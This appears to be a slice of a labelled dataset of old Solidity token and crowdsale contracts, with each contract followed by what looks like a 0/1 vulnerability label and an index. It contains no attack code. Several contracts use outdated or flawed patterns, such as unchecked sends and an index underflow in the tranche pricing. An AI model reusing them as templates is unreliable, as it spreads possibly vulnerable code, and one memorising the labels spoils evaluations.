string constant public symbol = "TBX";
uint8 constant public decimals = 18;
address constant public foundationReserve = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
address constant public icoAllocation = 0x1111111111111111111111111111111111111111;
address constant public preIcoAllocation = 0x2222222222222222222222222222222222222222;
uint256 constant public startDate = 1510660800;
uint256 constant public duration = 14 days;
uint256 constant public vestingDateEnd = 1543406400;
uint256 public totalPicoUSD = 0;
uint8 constant public usdDecimals = 12;
address public signer;
address public multisig;
bool public finalised = false;
event InvestmentInETH(address investor, uint256 tokenPriceInWei, uint256 investedInWei, uint256 investedInPicoUsd, uint256 tokensNumber, bytes32 hash);
event InvestmentInBTC(address investor, uint256 tokenPriceInSatoshi, uint256 investedInSatoshi, uint256 investedInPicoUsd, uint256 tokensNumber, string btcAddress);
event InvestmentInUSD(address investor, uint256 tokenPriceInPicoUsd, uint256 investedInPicoUsd, uint256 tokensNumber);
event PresaleInvestment(address investor, uint256 investedInPicoUsd, uint256 tokensNumber);
function TokenboxToken(address _signer, address _multisig, uint256 _preIcoTokens )
{
totalSupply = withDecimals(31000000, decimals);
uint preIcoTokens = withDecimals(_preIcoTokens, decimals);
balances[preIcoAllocation] = preIcoTokens;
balances[foundationReserve] = 0;
balances[icoAllocation] = div(mul(totalSupply, 75), 100) - preIcoTokens;
signer = _signer;
multisig = _multisig;
}
modifier icoIsActive {
require(now >= startDate && now < startDate + duration);
_;
}
modifier icoIsCompleted {
require(now >= startDate + duration);
_;
}
modifier onlyOwnerOrSigner {
require((msg.sender == owner) || (msg.sender == signer));
_;
}
function invest(address investor, uint256 tokenPriceInPicoUsd, uint256 investedInWei, bytes32 hash, uint8 v, bytes32 r, bytes32 s, uint256 WeiToUSD)
public
icoIsActive
payable
{
require(sha256(uint(investor) << 96 | tokenPriceInPicoUsd) == hash);
require(ecrecover(hash, v, r, s) == signer);
require(sub(investedInWei, msg.value) <= withDecimals(5, 15));
uint tokenPriceInWei = div(mul(tokenPriceInPicoUsd, WeiToUSD), pow(10, usdDecimals));
uint256 tokensNumber = div(withDecimals(investedInWei, decimals), tokenPriceInWei);
require(balances[icoAllocation] >= tokensNumber);
require(multisig.send(msg.value));
uint256 investedInPicoUsd = div(withDecimals(investedInWei, usdDecimals), WeiToUSD);
investInUSD(investor, investedInPicoUsd, tokensNumber);
InvestmentInETH(investor, tokenPriceInWei, investedInWei, investedInPicoUsd, tokensNumber, hash);
}
function investInBTC(address investor, uint256 tokenPriceInPicoUsd, uint256 investedInSatoshi, string btcAddress, uint256 satoshiToUSD)
public
icoIsActive
onlyOwnerOrSigner
{
uint tokenPriceInSatoshi = div(mul(tokenPriceInPicoUsd, satoshiToUSD), pow(10, usdDecimals));
uint256 tokensNumber = div(withDecimals(investedInSatoshi, decimals), tokenPriceInSatoshi);
require(balances[icoAllocation] >= tokensNumber);
uint256 investedInPicoUsd = div(withDecimals(investedInSatoshi, usdDecimals), satoshiToUSD);
investInUSD(investor, investedInPicoUsd, tokensNumber);
InvestmentInBTC(investor, tokenPriceInSatoshi, investedInSatoshi, investedInPicoUsd, tokensNumber, btcAddress);
}
function investInUSD(address investor, uint256 investedInPicoUsd, uint256 tokensNumber)
private
{
totalPicoUSD = add(totalPicoUSD, investedInPicoUsd);
balances[icoAllocation] -= tokensNumber;
balances[investor] += tokensNumber;
Transfer(icoAllocation, investor, tokensNumber);
}
function wireInvestInUSD(address investor, uint256 tokenPriceInUsdCents, uint256 investedInUsdCents)
public
icoIsActive
onlyOwnerOrSigner
{
uint256 tokensNumber = div(withDecimals(investedInUsdCents, decimals), tokenPriceInUsdCents);
require(balances[icoAllocation] >= tokensNumber);
uint256 investedInPicoUsd = withDecimals(investedInUsdCents, usdDecimals - 2);
uint256 tokenPriceInPicoUsd = withDecimals(tokenPriceInUsdCents, usdDecimals - 2);
investInUSD(investor, investedInPicoUsd, tokensNumber);
InvestmentInUSD(investor, tokenPriceInPicoUsd, investedInPicoUsd, tokensNumber);
}
function preIcoDistribution(address investor, uint256 investedInUsdCents, uint256 tokensNumber)
public
onlyOwner
{
uint256 tokensNumberWithDecimals = withDecimals(tokensNumber, decimals);
require(balances[preIcoAllocation] >= tokensNumberWithDecimals);
balances[preIcoAllocation] -= tokensNumberWithDecimals;
balances[investor] += tokensNumberWithDecimals;
Transfer(preIcoAllocation, investor, tokensNumberWithDecimals);
uint256 investedInPicoUsd = withDecimals(investedInUsdCents, usdDecimals - 2);
totalPicoUSD = add(totalPicoUSD, investedInPicoUsd);
PresaleInvestment(investor, investedInPicoUsd, tokensNumberWithDecimals);
}
function allowToWithdrawFromReserve()
public
onlyOwner
{
require(now >= vestingDateEnd);
allowed[foundationReserve][msg.sender] = balanceOf(foundationReserve);
}
function withdrawFromReserve(uint amount)
public
onlyOwner
{
require(now >= vestingDateEnd);
require(transferFrom(foundationReserve, multisig, amount));
}
function changeMultisig(address _multisig)
public
onlyOwner
{
multisig = _multisig;
}
function changeSigner(address _signer)
public
onlyOwner
{
signer = _signer;
}
function finaliseICO()
public
onlyOwner
icoIsCompleted
{
require(!finalised);
totalSupply = sub(totalSupply, balanceOf(icoAllocation));
totalSupply = sub(totalSupply, withDecimals(7750000, decimals));
balances[multisig] = div(mul(totalSupply, 125), 1000);
balances[foundationReserve] = div(mul(totalSupply, 125), 1000);
totalSupply = add(totalSupply, mul(balanceOf(foundationReserve), 2));
balances[icoAllocation] = 0;
finalised = true;
}
function totalUSD()
public
constant
returns (uint)
{
return div(totalPicoUSD, pow(10, usdDecimals));
}
} | 1 | 2,766 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ORTHOTECHNICALCOIN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function ORTHOTECHNICALCOIN() public {
symbol = "ORTC";
name = "ORTHO TECHNICAL COIN";
decimals = 18;
_totalSupply = 987987987986000000000000000000;
balances[0x983cb34D84047E23713cdB63FD39B2526Dcf8F28] = _totalSupply;
Transfer(address(0), 0x983cb34D84047E23713cdB63FD39B2526Dcf8F28, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,106 |
pragma solidity ^0.4.13;
contract ReentrancyHandlingContract {
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
}
contract Owned {
address public owner;
address public newOwner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
contract PriorityPassInterface {
function getAccountLimit(address _accountAddress) public constant returns (uint);
function getAccountActivity(address _accountAddress) public constant returns (bool);
}
contract ERC20TokenInterface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SeedCrowdsaleContract is ReentrancyHandlingContract, Owned {
struct ContributorData {
uint contributionAmount;
}
mapping(address => ContributorData) public contributorList;
uint public nextContributorIndex;
mapping(uint => address) public contributorIndexes;
state public crowdsaleState = state.pendingStart;
enum state { pendingStart, priorityPass, openedPriorityPass, crowdsaleEnded }
uint public presaleStartTime;
uint public presaleUnlimitedStartTime;
uint public crowdsaleEndedTime;
event PresaleStarted(uint blocktime);
event PresaleUnlimitedStarted(uint blocktime);
event CrowdsaleEnded(uint blocktime);
event ErrorSendingETH(address to, uint amount);
event MinCapReached(uint blocktime);
event MaxCapReached(uint blocktime);
event ContributionMade(address indexed contributor, uint amount);
PriorityPassInterface priorityPassContract = PriorityPassInterface(0x0);
uint public minCap;
uint public maxP1Cap;
uint public maxCap;
uint public ethRaised;
address public multisigAddress;
uint nextContributorToClaim;
mapping(address => bool) hasClaimedEthWhenFail;
function() noReentrancy payable public {
require(msg.value != 0);
require(crowdsaleState != state.crowdsaleEnded);
bool stateChanged = checkCrowdsaleState();
if (crowdsaleState == state.priorityPass) {
if (priorityPassContract.getAccountActivity(msg.sender)) {
processTransaction(msg.sender, msg.value);
} else {
refundTransaction(stateChanged);
}
} else if (crowdsaleState == state.openedPriorityPass) {
if (priorityPassContract.getAccountActivity(msg.sender)) {
processTransaction(msg.sender, msg.value);
} else {
refundTransaction(stateChanged);
}
} else {
refundTransaction(stateChanged);
}
}
function checkCrowdsaleState() internal returns (bool) {
if (ethRaised == maxCap && crowdsaleState != state.crowdsaleEnded) {
crowdsaleState = state.crowdsaleEnded;
MaxCapReached(block.timestamp);
CrowdsaleEnded(block.timestamp);
return true;
}
if (block.timestamp > presaleStartTime && block.timestamp <= presaleUnlimitedStartTime) {
if (crowdsaleState != state.priorityPass) {
crowdsaleState = state.priorityPass;
PresaleStarted(block.timestamp);
return true;
}
} else if (block.timestamp > presaleUnlimitedStartTime && block.timestamp <= crowdsaleEndedTime) {
if (crowdsaleState != state.openedPriorityPass) {
crowdsaleState = state.openedPriorityPass;
PresaleUnlimitedStarted(block.timestamp);
return true;
}
} else {
if (crowdsaleState != state.crowdsaleEnded && block.timestamp > crowdsaleEndedTime) {
crowdsaleState = state.crowdsaleEnded;
CrowdsaleEnded(block.timestamp);
return true;
}
}
return false;
}
function refundTransaction(bool _stateChanged) internal {
if (_stateChanged) {
msg.sender.transfer(msg.value);
} else {
revert();
}
}
function calculateMaxContribution(address _contributor) constant public returns (uint maxContribution) {
uint maxContrib;
if (crowdsaleState == state.priorityPass) {
maxContrib = priorityPassContract.getAccountLimit(_contributor) - contributorList[_contributor].contributionAmount;
if (maxContrib > (maxP1Cap - ethRaised)) {
maxContrib = maxP1Cap - ethRaised;
}
} else {
maxContrib = maxCap - ethRaised;
}
return maxContrib;
}
function processTransaction(address _contributor, uint _amount) internal {
uint maxContribution = calculateMaxContribution(_contributor);
uint contributionAmount = _amount;
uint returnAmount = 0;
if (maxContribution < _amount) {
contributionAmount = maxContribution;
returnAmount = _amount - maxContribution;
}
if (ethRaised + contributionAmount >= minCap && minCap > ethRaised) {
MinCapReached(block.timestamp);
}
if (contributorList[_contributor].contributionAmount == 0) {
contributorList[_contributor].contributionAmount = contributionAmount;
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex++;
} else {
contributorList[_contributor].contributionAmount += contributionAmount;
}
ethRaised += contributionAmount;
ContributionMade(msg.sender, contributionAmount);
if (returnAmount != 0) {
_contributor.transfer(returnAmount);
}
}
function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner public {
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
function withdrawEth() onlyOwner public {
require(this.balance != 0);
require(ethRaised >= minCap);
pendingEthWithdrawal = this.balance;
}
uint public pendingEthWithdrawal;
function pullBalance() public {
require(msg.sender == multisigAddress);
require(pendingEthWithdrawal > 0);
multisigAddress.transfer(pendingEthWithdrawal);
pendingEthWithdrawal = 0;
}
function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner public {
require(block.timestamp > crowdsaleEndedTime && ethRaised < minCap);
address currentParticipantAddress;
uint contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++) {
currentParticipantAddress = contributorIndexes[nextContributorToClaim];
if (currentParticipantAddress == 0x0) {
return;
}
if (!hasClaimedEthWhenFail[currentParticipantAddress]) {
contribution = contributorList[currentParticipantAddress].contributionAmount;
hasClaimedEthWhenFail[currentParticipantAddress] = true;
if (!currentParticipantAddress.send(contribution)) {
ErrorSendingETH(currentParticipantAddress, contribution);
}
}
nextContributorToClaim += 1;
}
}
function withdrawRemainingBalanceForManualRecovery() onlyOwner public {
require(this.balance != 0);
require(block.timestamp > crowdsaleEndedTime);
require(contributorIndexes[nextContributorToClaim] == 0x0);
multisigAddress.transfer(this.balance);
}
function setMultisigAddress(address _newAddress) onlyOwner public {
multisigAddress = _newAddress;
}
function setPriorityPassContract(address _newAddress) onlyOwner public {
priorityPassContract = PriorityPassInterface(_newAddress);
}
function priorityPassContractAddress() constant public returns (address) {
return address(priorityPassContract);
}
function setCrowdsaleTimes(uint _presaleStartTime, uint _presaleUnlimitedStartTime, uint _crowdsaleEndedTime) onlyOwner public {
require(crowdsaleState == state.pendingStart);
require(_presaleStartTime != 0);
require(_presaleStartTime < _presaleUnlimitedStartTime);
require(_presaleUnlimitedStartTime != 0);
require(_presaleUnlimitedStartTime < _crowdsaleEndedTime);
require(_crowdsaleEndedTime != 0);
presaleStartTime = _presaleStartTime;
presaleUnlimitedStartTime = _presaleUnlimitedStartTime;
crowdsaleEndedTime = _crowdsaleEndedTime;
}
}
contract UnicoSeedCrowdsale is SeedCrowdsaleContract {
function UnicoSeedCrowdsale() {
presaleStartTime = 1512032400;
presaleUnlimitedStartTime = 1512063000;
crowdsaleEndedTime = 1512140400;
minCap = 356 ether;
maxP1Cap = 748 ether;
maxCap = 831 ether;
}
} | 0 | 1,276 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address _to, uint _value) returns (bool success);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract SafeMathLib {
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract Crowdsale is Haltable, SafeMathLib {
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = safeAdd(loadedRefund,msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = safeAdd(weiRefunded,weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract EthTranchePricing is PricingStrategy, Ownable, SafeMathLib {
uint public constant MAX_TRANCHES = 10;
mapping (address => uint) public preicoAddresses;
struct Tranche {
uint amount;
uint price;
}
Tranche[10] public tranches;
uint public trancheCount;
function EthTranchePricing(uint[] _tranches) {
if(_tranches.length % 2 == 1 || _tranches.length >= MAX_TRANCHES*2) {
throw;
}
trancheCount = _tranches.length / 2;
uint highestAmount = 0;
for(uint i=0; i<_tranches.length/2; i++) {
tranches[i].amount = _tranches[i*2];
tranches[i].price = _tranches[i*2+1];
if((highestAmount != 0) && (tranches[i].amount <= highestAmount)) {
throw;
}
highestAmount = tranches[i].amount;
}
if(tranches[0].amount != 0) {
throw;
}
if(tranches[trancheCount-1].price != 0) {
throw;
}
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getTranche(uint n) public constant returns (uint, uint) {
return (tranches[n].amount, tranches[n].price);
}
function getFirstTranche() private constant returns (Tranche) {
return tranches[0];
}
function getLastTranche() private constant returns (Tranche) {
return tranches[trancheCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstTranche().amount;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastTranche().amount;
}
function isSane(address _crowdsale) public constant returns(bool) {
return true;
}
function getCurrentTranche(uint weiRaised) private constant returns (Tranche) {
uint i;
for(i=0; i < tranches.length; i++) {
if(weiRaised < tranches[i].amount) {
return tranches[i-1];
}
}
}
function getCurrentPrice(uint weiRaised) public constant returns (uint result) {
return getCurrentTranche(weiRaised).price;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return safeMul(value,multiplier) / preicoAddresses[msgSender];
}
uint price = getCurrentPrice(weiRaised);
return safeMul(value,multiplier) / price;
}
function() payable {
throw;
}
} | 0 | 1,890 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CurrencyExchangeRate is Ownable {
struct Currency {
uint256 exRateToEther;
uint8 exRateDecimals;
}
Currency[] public currencies;
event CurrencyExchangeRateAdded(
address indexed setter, uint256 index, uint256 rate, uint256 decimals
);
event CurrencyExchangeRateSet(
address indexed setter, uint256 index, uint256 rate, uint256 decimals
);
constructor() public {
currencies.push(
Currency ({
exRateToEther: 1,
exRateDecimals: 0
})
);
currencies.push(
Currency ({
exRateToEther: 30000,
exRateDecimals: 2
})
);
}
function addCurrencyExchangeRate(
uint256 _exRateToEther,
uint8 _exRateDecimals
) external onlyOwner {
emit CurrencyExchangeRateAdded(
msg.sender, currencies.length, _exRateToEther, _exRateDecimals);
currencies.push(
Currency ({
exRateToEther: _exRateToEther,
exRateDecimals: _exRateDecimals
})
);
}
function setCurrencyExchangeRate(
uint256 _currencyIndex,
uint256 _exRateToEther,
uint8 _exRateDecimals
) external onlyOwner {
emit CurrencyExchangeRateSet(
msg.sender, _currencyIndex, _exRateToEther, _exRateDecimals);
currencies[_currencyIndex].exRateToEther = _exRateToEther;
currencies[_currencyIndex].exRateDecimals = _exRateDecimals;
}
}
contract KYC {
function expireOf(address _who) external view returns (uint256);
function kycLevelOf(address _who) external view returns (uint8);
function nationalitiesOf(address _who) external view returns (uint256);
function setKYC(
address _who, uint256 _expiresAt, uint8 _level, uint256 _nationalities)
external;
event KYCSet (
address indexed _setter,
address indexed _who,
uint256 _expiresAt,
uint8 _level,
uint256 _nationalities
);
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract EtherVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
address public wallet;
State public state;
event Closed(address indexed commissionWallet, uint256 commission);
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(
_wallet != address(0),
"Failed to create Ether vault due to wallet address is 0x0."
);
wallet = _wallet;
state = State.Active;
}
function deposit() public onlyOwner payable {
require(
state == State.Active,
"Failed to deposit Ether due to state is not Active."
);
}
function close(address _commissionWallet, uint256 _commission) public onlyOwner {
require(
state == State.Active,
"Failed to close due to state is not Active."
);
state = State.Closed;
emit Closed(_commissionWallet, _commission);
_commissionWallet.transfer(address(this).balance.mul(_commission).div(100));
wallet.transfer(address(this).balance);
}
function enableRefunds() public onlyOwner {
require(
state == State.Active,
"Failed to enable refunds due to state is not Active."
);
emit RefundsEnabled();
state = State.Refunding;
}
